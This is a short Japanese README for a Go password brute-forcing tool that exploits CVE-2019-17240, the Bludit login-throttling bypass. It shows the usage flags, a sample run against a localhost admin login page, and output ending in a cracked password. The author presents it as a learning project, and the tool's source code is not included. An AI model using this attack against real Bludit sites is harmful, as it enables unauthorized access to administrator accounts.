
Goベースのブルートフォースツール。Bluditのブルートフォース対策バイパス(CVE-2019-17240)を悪用し、管理ログインページに対する自動パスワードクラッキングを行う。
これは、このPythonスクリプトをGolangで書き直した小さなプロジェクトです。このプロジェクトの目的は、Go言語を学び、このエクスプロイトがどのように機能するかを理解することでした。
$ ./brutepass -sdasds
flag provided but not defined: -sdasds
Usage of ./brutepass:
-c int
Threads (default 5) (default 5)
-l string
Hostname eg... http://127.0.0.1/admin/login.php
-p string
Password file
-u string
Enter username
スレッドフラグ以外は、すべてのフラグが必須です。
$ ./cve-2019-17240 -p pass.txt -u admin -l "http://127.0.0.1/admin/login.php"
Total requests sent: 10
Total requests sent: 20
Total requests sent: 30
Total requests sent: 40
Total requests sent: 50
Total requests sent: 60
Total requests sent: 65
==========Password Cracked=============
Password: Password